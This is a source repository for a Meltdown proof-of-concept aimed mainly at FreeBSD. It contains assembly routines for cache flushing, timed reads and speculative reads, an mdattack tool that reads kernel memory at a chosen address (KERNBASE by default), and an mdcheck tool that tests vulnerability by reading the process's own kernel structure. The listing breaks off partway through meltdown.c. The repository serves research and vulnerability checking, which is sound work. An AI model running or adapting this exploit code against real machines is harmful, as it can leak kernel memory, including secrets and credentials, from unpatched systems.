├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── amd64.S ├── i386.S ├── mdattack.c ├── mdcheck.c ├── mdctype.h ├── meltdown.c ├── meltdown.h └── util.c /.gitignore: -------------------------------------------------------------------------------- 1 | .depend* 2 | *.core 3 | *.debug 4 | *.full 5 | *.o 6 | *~ 7 | mdattack 8 | mdcheck 9 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2018 The University of Oslo 2 | Copyright (c) 2018 Dag-Erling Smørgrav 3 | All rights reserved. 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions 7 | are met: 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 2. Redistributions in binary form must reproduce the above copyright 11 | notice, this list of conditions and the following disclaimer in the 12 | documentation and/or other materials provided with the distribution. 13 | 3. The name of the author may not be used to endorse or promote 14 | products derived from this software without specific prior written 15 | permission. 16 | 17 | THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 18 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 19 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 20 | ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 21 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 22 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 23 | OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 25 | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 26 | OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 27 | SUCH DAMAGE. 28 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | PROGS = mdattack mdcheck 2 | SRCS.common = meltdown.c util.c 3 | SRCS.common += ${MACHINE_CPUARCH}.S 4 | SRCS.mdattack = mdattack.c ${SRCS.common} 5 | SRCS.mdcheck = mdcheck.c ${SRCS.common} 6 | MAN = # 7 | 8 | .include 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Meltdown 2 | 3 | This is a demonstration of the [Meltdown attack](https://meltdownattack.com/), primarily intended for FreeBSD systems. 4 | 5 | The code should build and run on most BSD and Linux flavors, on both i386 and amd64 systems. However, the Makefile assumes that you are building on a FreeBSD system, i386 support is only partially implemented, and functionality on non-FreeBSD systems is limited: `mdattack`'s self-test mode *should* work, and an actual attack on a carefully selected target *may* work, but `mdcheck` will not. Patches to address these issues are more than welcome. 6 | 7 | ## Tools 8 | 9 | ### mdcheck 10 | 11 | The `mdcheck` tool attempts to determine if your system is vulnerable. The exact method varies from one platform to another. The result is indicated by the exit code: 0 for complete success, 1 for partial success (mostly seen in virtual machines) and 2 for complete failure. 12 | 13 | ### mdattack 14 | 15 | The `mdattack` tool performs a Meltdown attack on a designated target specified as a virtual address and a length and prints the result. 16 | 17 | ## Principle of operation 18 | 19 | TBW 20 | 21 | ## Contributing 22 | 23 | Feel free to clone this repo and submit pull requests. Patches *must* comply with the FreeBSD [style guide](https://www.freebsd.org/cgi/man.cgi?query=style&sektion=9). 24 | 25 | If these tools do not perform as expected on a supported and presumed-vulnerable system, and you do not have the time and / or experience to track the problem down yourself, please consider providing me with an unprivileged account on said system. 26 | 27 | ## Author and license 28 | 29 | These tools were developed by [Dag-Erling Smørgrav](mailto:des@des.no) for the [FreeBSD project](https://www.freebsd.org/) with support from the [University of Oslo](https://www.uio.no/), and published under a [three-clause BSD license](https://opensource.org/licenses/BSD-3-Clause). See the [LICENSE](/../..raw/master/LICENSE) file for further details. 30 | -------------------------------------------------------------------------------- /amd64.S: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2018 The University of Oslo 3 | * Copyright (c) 2018 Dag-Erling Smørgrav 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 3. The name of the author may not be used to endorse or promote 15 | * products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 19 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 22 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 24 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 26 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 27 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 28 | * SUCH DAMAGE. 29 | */ 30 | 31 | /* 32 | * void clflush(const void *addr); 33 | * 34 | * entry: 35 | * %rdi addr 36 | * exit: 37 | * - 38 | * 39 | * Flush an address from the cache. 40 | */ 41 | .global clflush 42 | .type clflush, @function 43 | clflush: 44 | mfence 45 | clflush (%rdi) 46 | ret 47 | 48 | /* 49 | * uint64_t rdtsc64(void); 50 | * 51 | * entry: 52 | * - 53 | * exit: 54 | * %rax TSC value 55 | * 56 | * Read the 64-bit timestamp counter. 57 | */ 58 | .global rdtsc64 59 | .type rdtsc64, @function 60 | rdtsc64: 61 | rdtsc 62 | shlq $32, %rdx 63 | orq %rdx, %rax 64 | 65 | ret 66 | 67 | /* 68 | * uint32_t rdtsc32(void); 69 | * 70 | * entry: 71 | * - 72 | * exit: 73 | * %eax lower 32 bits of TSC value 74 | * 75 | * Read the 64-bit timestamp counter, but discard the upper half. 76 | */ 77 | .global rdtsc32 78 | .type rdtsc32, @function 79 | rdtsc32: 80 | rdtsc 81 | 82 | ret 83 | 84 | /* 85 | * uint64_t timed_read(const void *addr); 86 | * 87 | * entry: 88 | * %rdi addr 89 | * exit: 90 | * %rax TSC delta 91 | * 92 | * Read a word from the specified address and return the time it took 93 | * in delta-TSC. Will occasionally return a wildly inaccurate number 94 | * due to counter wraparound. 95 | */ 96 | .global timed_read 97 | .type timed_read, @function 98 | timed_read: 99 | mfence 100 | lfence 101 | 102 | /* read TSC, combine halves and stash */ 103 | rdtsc 104 | shlq $32, %rdx 105 | orq %rdx, %rax 106 | movq %rax, %rcx 107 | 108 | /* access our target */ 109 | movl (%rdi), %eax 110 | lfence 111 | 112 | /* read TSC, combine halves and diff */ 113 | rdtsc 114 | shlq $32, %rdx 115 | orq %rdx, %rax 116 | subq %rcx, %rax 117 | 118 | ret 119 | 120 | /* 121 | * void spec_read(const uint8_t *addr, const uint8_t *probe, unsigned int shift); 122 | * 123 | * entry: 124 | * %rdi addr 125 | * %rsi probe 126 | * %rdx shift 127 | * exit: 128 | * - 129 | * 130 | * Read *addr repeatedly until it is non-zero, then read probe[*addr << shift]. 131 | */ 132 | .global spec_read 133 | .type spec_read, @function 134 | spec_read: 135 | movq %rdx, %rcx 136 | xor %rax, %rax 137 | 138 | /* attempt to read the target */ 139 | prefetcht0 (%rdi) 140 | 1: movb (%rdi), %al 141 | shlq %cl, %rax 142 | jz 1b 143 | 144 | /* access the appropriate probe */ 145 | movb (%rsi, %rax, 1), %cl 146 | 147 | ret 148 | -------------------------------------------------------------------------------- /i386.S: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2018 The University of Oslo 3 | * Copyright (c) 2018 Dag-Erling Smørgrav 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 3. The name of the author may not be used to endorse or promote 15 | * products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 19 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 22 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 24 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 26 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 27 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 28 | * SUCH DAMAGE. 29 | */ 30 | 31 | /* 32 | * void clflush(const void *addr); 33 | * 34 | * entry: 35 | * (%esp + 4) addr 36 | * exit: 37 | * - 38 | * 39 | * Flush an address from the cache. 40 | */ 41 | .global clflush 42 | .type clflush, @function 43 | clflush: 44 | movl 4(%esp),%eax 45 | mfence 46 | clflush (%eax) 47 | ret 48 | 49 | /* 50 | * uint64_t rdtsc64(void); 51 | * 52 | * entry: 53 | * - 54 | * exit: 55 | * %edx:%eax TSC value 56 | * 57 | * Read the 64-bit timestamp counter. 58 | */ 59 | /* 60 | * uint32_t rdtsc32(void); 61 | * 62 | * entry: 63 | * - 64 | * exit: 65 | * %eax lower 32 bits of TSC value 66 | * 67 | * Read the 64-bit timestamp counter, but discard the upper half. 68 | */ 69 | .global rdtsc64 70 | .type rdtsc64, @function 71 | rdtsc64: 72 | .global rdtsc32 73 | .type rdtsc32, @function 74 | rdtsc32: 75 | rdtsc 76 | ret 77 | 78 | /* 79 | * uint64_t timed_read(const void *addr); 80 | * 81 | * entry: 82 | * (%esp + 4) addr 83 | * exit: 84 | * %edx:%eax TSC delta 85 | * 86 | * Read a word from the specified address and return the time it took 87 | * in delta-TSC. Will occasionally return a wildly inaccurate number 88 | * due to counter wraparound. 89 | */ 90 | .global timed_read 91 | .type timed_read, @function 92 | timed_read: 93 | pushl %ebp 94 | movl %esp, %ebp 95 | pushl %edi 96 | pushl %ebx 97 | movl 8(%ebp), %edi 98 | 99 | mfence 100 | lfence 101 | 102 | /* read TSC, combine halves and stash */ 103 | rdtsc 104 | movl %eax, %ecx 105 | movl %edx, %ebx 106 | 107 | /* access our target */ 108 | movl (%edi), %eax 109 | lfence 110 | 111 | /* read TSC, combine halves and diff */ 112 | rdtsc 113 | subl %ecx, %eax 114 | sbbl %ebx, %edx 115 | 116 | popl %ebx 117 | popl %edi 118 | leave 119 | ret 120 | 121 | /* 122 | * void spec_read(const uint8_t *addr, const uint8_t *probe, unsigned int shift); 123 | * 124 | * entry: 125 | * (%esp + 4) addr 126 | * (%esp + 8) probe 127 | * (%esp + 12) shift 128 | * exit: 129 | * - 130 | * 131 | * Read *addr repeatedly until it is non-zero, then read probe[*addr << shift]. 132 | */ 133 | .global spec_read 134 | .type spec_read, @function 135 | spec_read: 136 | pushl %ebp 137 | movl %esp, %ebp 138 | pushl %edi 139 | pushl %esi 140 | movl 8(%ebp), %edi 141 | movl 12(%ebp), %esi 142 | movl 16(%ebp), %ecx 143 | 144 | xorl %eax, %eax 145 | 1: movb (%edi), %al 146 | shll %cl, %eax 147 | jz 1b 148 | 149 | movb (%esi, %eax, 1), %cl 150 | 151 | popl %esi 152 | popl %edi 153 | leave 154 | ret 155 | -------------------------------------------------------------------------------- /mdattack.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2018 The University of Oslo 3 | * Copyright (c) 2018 Dag-Erling Smørgrav 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 3. The name of the author may not be used to endorse or promote 15 | * products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 19 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 22 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 24 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 26 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 27 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 28 | * SUCH DAMAGE. 29 | */ 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #include "meltdown.h" 38 | 39 | /* 40 | * Kernel base address for a few platforms 41 | */ 42 | #if __amd64__ 43 | #define KERNBASE 0xffffffff80000000UL 44 | #elif __i386__ 45 | #define KERNBASE 0xc0000000U 46 | #else 47 | #error "Unsupported architecture" 48 | #endif 49 | 50 | /* 51 | * Address and length of data to read 52 | */ 53 | static uint8_t *atk_addr; 54 | static size_t atk_len; 55 | static unsigned int atk_rounds; 56 | #define DFLT_ATK_ADDR ((uint8_t *)KERNBASE) 57 | #define DFLT_ATK_LEN 16 58 | #define DFLT_ATK_ROUNDS 3 59 | 60 | /* 61 | * Self-test 62 | */ 63 | static uint8_t selftest[4096]; 64 | 65 | /* 66 | * Print usage string and exit. 67 | */ 68 | static void 69 | usage(void) 70 | { 71 | 72 | fprintf(stderr, "usage: mdattack [-v] [-a addr | -s] [-l len] [-n rounds]\n"); 73 | exit(1); 74 | } 75 | 76 | int 77 | main(int argc, char *argv[]) 78 | { 79 | char *end; 80 | uintmax_t umax; 81 | unsigned int i; 82 | int opt; 83 | 84 | while ((opt = getopt(argc, argv, "a:l:n:sv")) != -1) 85 | switch (opt) { 86 | case 'a': 87 | if (atk_addr != 0) 88 | usage(); 89 | umax = strtoull(optarg, &end, 16); 90 | if (end == optarg || *end != '\0') 91 | errx(1, "invalid address"); 92 | atk_addr = (uint8_t *)umax; 93 | if ((uintmax_t)atk_addr != umax) 94 | errx(1, "address is out of range"); 95 | break; 96 | case 'l': 97 | if (atk_len != 0) 98 | usage(); 99 | umax = strtoull(optarg, &end, 0); 100 | if (end == optarg || *end != '\0') 101 | errx(1, "invalid length"); 102 | atk_len = umax; 103 | if (atk_len == 0 || (uintmax_t)atk_len != umax) 104 | errx(1, "length is out of range"); 105 | break; 106 | case 'n': 107 | if (atk_rounds != 0) 108 | usage(); 109 | umax = strtoull(optarg, &end, 0); 110 | if (end == optarg || *end != '\0') 111 | errx(1, "invalid round count"); 112 | atk_rounds = umax; 113 | if (atk_rounds == 0 || (uintmax_t)atk_rounds != umax) 114 | errx(1, "round count is out of range"); 115 | break; 116 | case 's': 117 | if (atk_addr != 0) 118 | usage(); 119 | atk_addr = selftest; 120 | break; 121 | case 'v': 122 | verbose++; 123 | break; 124 | default: 125 | usage(); 126 | } 127 | 128 | argc -= optind; 129 | argv += optind; 130 | 131 | if (argc) 132 | usage(); 133 | 134 | /* default address and length */ 135 | if (atk_addr == 0) 136 | atk_addr = DFLT_ATK_ADDR; 137 | if (atk_len == 0) 138 | atk_len = DFLT_ATK_LEN; 139 | if (atk_rounds == 0) 140 | atk_rounds = DFLT_ATK_ROUNDS; 141 | 142 | /* generate self-test data if required */ 143 | if (atk_addr == selftest) { 144 | for (i = 0; i < sizeof selftest; ++i) 145 | selftest[i] = '!' + i % ('~' - '!' + 1); 146 | if (atk_len > sizeof selftest) 147 | atk_len = sizeof selftest; 148 | } 149 | 150 | /* create the probe array and ensure that it is paged in */ 151 | meltdown_init(); 152 | 153 | /* calibrate our timer */ 154 | meltdown_calibrate(); 155 | 156 | /* perform the attack */ 157 | meltdown_attack(atk_addr, NULL, atk_len, atk_rounds); 158 | 159 | exit(0); 160 | } 161 | -------------------------------------------------------------------------------- /mdcheck.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2018 The University of Oslo 3 | * Copyright (c) 2018 Dag-Erling Smørgrav 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 3. The name of the author may not be used to endorse or promote 15 | * products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 19 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 22 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 24 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 26 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 27 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 28 | * SUCH DAMAGE. 29 | */ 30 | 31 | #ifdef __FreeBSD__ 32 | #include 33 | 34 | #include 35 | #include 36 | #include 37 | #include 38 | #endif 39 | 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | 47 | #include "meltdown.h" 48 | 49 | static int quick; 50 | 51 | typedef enum { 52 | MDCHECK_SUCCESS, 53 | MDCHECK_PARTIAL, 54 | MDCHECK_FAILED, 55 | MDCHECK_ERROR, 56 | } mdcheck_result; 57 | 58 | /* 59 | * Attempts to exfiltrate data from the kernel. Returns MDCHECK_SUCCESS 60 | * if completely successful, MDCHECK_PARTIAL if partially successful, 61 | * MDCHECK_FAILED if unsuccessful, and MDCHECK_ERROR if an error prevented 62 | * the test from running. 63 | */ 64 | #ifdef __FreeBSD__ 65 | static mdcheck_result 66 | mdcheck(void) 67 | { 68 | int mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_PID, 0 }; 69 | struct kinfo_proc kip; 70 | struct proc p; 71 | size_t kiplen; 72 | unsigned int i, rounds; 73 | int pid, pidmask; 74 | int ret; 75 | 76 | ret = MDCHECK_FAILED; 77 | pid = getpid(); 78 | pidmask = 0xffffffff; 79 | for (i = 0; i < 4; ++i) 80 | if (*((uint8_t *)&pid + i) == 0) 81 | *((uint8_t *)&pidmask + i) = 0; 82 | VERBOSEF("attempting to read struct proc for pid 0x%08x mask 0x%08x\n", 83 | pid, pidmask); 84 | mib[3] = pid; 85 | kiplen = sizeof kip; 86 | memset(&kip, 0, kiplen); 87 | if (sysctl(mib, 4, &kip, &kiplen, NULL, 0) != 0) { 88 | warn("sysctl()"); 89 | return (MDCHECK_ERROR); 90 | } 91 | for (ret = MDCHECK_FAILED, rounds = 8; rounds <= 512; rounds *= 2) { 92 | memset(&p, 0, sizeof p); 93 | if (quick) { 94 | /* quick mode: read just the pid */ 95 | meltdown_attack(&kip.ki_paddr->p_pid, &p.p_pid, 96 | sizeof p.p_pid, rounds); 97 | if (verbose) 98 | hexdump(0, &p.p_pid, sizeof p.p_pid); 99 | } else { 100 | /* full mode: read our entire struct proc */ 101 | meltdown_attack(kip.ki_paddr, &p, sizeof p, rounds); 102 | if (verbose) 103 | hexdump(0, &p, sizeof p); 104 | } 105 | /* 106 | * Rate our success based on the Hamming distance between 107 | * what we got and what we expected. 108 | * 109 | * TODO: create a portable 110 | * unsigned int hamming(const void *, const void *, size_t); 111 | * in util.c, and use pointers to deduplicate the quick 112 | * and slow code paths. 113 | */ 114 | if (p.p_pid == pid) { 115 | VERBOSEF("exact match at %u rounds\n", rounds); 116 | return (MDCHECK_SUCCESS); 117 | } else if ((p.p_pid & pidmask) == pid) { 118 | VERBOSEF("imperfect match at %u rounds\n", rounds); 119 | ret = MDCHECK_PARTIAL; 120 | } else { 121 | VERBOSEF("no match with %u rounds (d = %u)\n", 122 | rounds, __builtin_popcount(p.p_pid ^ pid)); 123 | } 124 | } 125 | return (ret); 126 | } 127 | #else 128 | static int 129 | mdcheck(void) 130 | { 131 | 132 | errx(1, "Unimplemented"); 133 | } 134 | #endif 135 | 136 | /* 137 | * Print usage string and exit. 138 | */ 139 | static void 140 | usage(void) 141 | { 142 | 143 | fprintf(stderr, "usage: mdcheck [-v]\n"); 144 | exit(1); 145 | } 146 | 147 | int 148 | main(int argc, char *argv[]) 149 | { 150 | int opt, ret; 151 | 152 | while ((opt = getopt(argc, argv, "qv")) != -1) 153 | switch (opt) { 154 | case 'q': 155 | quick++; 156 | break; 157 | case 'v': 158 | verbose++; 159 | break; 160 | default: 161 | usage(); 162 | } 163 | 164 | argc -= optind; 165 | argv += optind; 166 | 167 | if (argc) 168 | usage(); 169 | 170 | /* create the probe array and ensure that it is paged in */ 171 | meltdown_init(); 172 | 173 | /* calibrate our timer */ 174 | meltdown_calibrate(); 175 | 176 | /* perform our tests */ 177 | ret = mdcheck(); 178 | 179 | exit(ret); 180 | } 181 | -------------------------------------------------------------------------------- /mdctype.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2012-2016 Dag-Erling Smørgrav 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 3. The name of the author may not be used to endorse or promote 14 | * products derived from this software without specific prior written 15 | * permission. 16 | * 17 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 18 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 19 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 20 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 21 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 22 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 23 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 25 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 26 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 27 | * SUCH DAMAGE. 28 | */ 29 | 30 | #ifndef MDCTYPE_H_INCLUDED 31 | #define MDCTYPE_H_INCLUDED 32 | 33 | /* 34 | * Evaluates to non-zero if the argument is a digit. 35 | */ 36 | #define is_digit(ch) \ 37 | (ch >= '0' && ch <= '9') 38 | 39 | /* 40 | * Evaluates to non-zero if the argument is a hex digit. 41 | */ 42 | #define is_xdigit(ch) \ 43 | ((ch >= '0' && ch <= '9') || \ 44 | (ch >= 'a' && ch <= 'f') || \ 45 | (ch >= 'A' && ch <= 'F')) 46 | 47 | /* 48 | * Evaluates to non-zero if the argument is an uppercase letter. 49 | */ 50 | #define is_upper(ch) \ 51 | (ch >= 'A' && ch <= 'Z') 52 | 53 | /* 54 | * Evaluates to non-zero if the argument is a lowercase letter. 55 | */ 56 | #define is_lower(ch) \ 57 | (ch >= 'a' && ch <= 'z') 58 | 59 | /* 60 | * Evaluates to non-zero if the argument is a letter. 61 | */ 62 | #define is_letter(ch) \ 63 | (is_upper(ch) || is_lower(ch)) 64 | 65 | /* 66 | * Evaluates to non-zero if the argument is a linear whitespace character. 67 | * For the purposes of this macro, the definition of linear whitespace is 68 | * extended to include the form feed and carraige return characters. 69 | */ 70 | #define is_lws(ch) \ 71 | (ch == ' ' || ch == '\t' || ch == '\f' || ch == '\r') 72 | 73 | /* 74 | * Evaluates to non-zero if the argument is a whitespace character. 75 | */ 76 | #define is_ws(ch) \ 77 | (is_lws(ch) || ch == '\n') 78 | 79 | /* 80 | * Evaluates to non-zero if the argument is a printable ASCII character. 81 | * Assumes that the execution character set is a superset of ASCII. 82 | */ 83 | #define is_p(ch) \ 84 | (ch >= ' ' && ch <= '~') 85 | 86 | /* 87 | * Evaluates to non-zero if the argument belongs to the POSIX Portable 88 | * Filename Character Set. Assumes that the execution character set is a 89 | * superset of ASCII. 90 | */ 91 | #define is_pfcs(ch) \ 92 | (is_digit(ch) || is_letter(ch) || \ 93 | ch == '.' || ch == '_' || ch == '-') 94 | 95 | /* 96 | * Evaluates to non-zero if the argument is an unreserved character 97 | * according to RFC 3986, i.e. can be used unencoded in URIs. 98 | */ 99 | #define is_uri(ch) \ 100 | (is_digit(ch) || is_letter(ch) || \ 101 | ch == '.' || ch == '_' || ch == '-' || ch == '~') 102 | 103 | #endif 104 | -------------------------------------------------------------------------------- /meltdown.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2018 The University of Oslo 3 | * Copyright (c) 2018 Dag-Erling Smørgrav 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 3. The name of the author may not be used to endorse or promote 15 | * products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 19 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 22 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 24 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 26 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 27 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 28 | * SUCH DAMAGE. 29 | */ 30 | 31 | #include 32 | 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #include "meltdown.h" 41 | 42 | /* 43 | * Probe array 44 | */ 45 | #define PROBE_SHIFT 12 46 | #define PROBE_LINELEN (1 << PROBE_SHIFT) 47 | #define PROBE_NLINES 256 48 | #define PROBE_SIZE (PROBE_NLINES 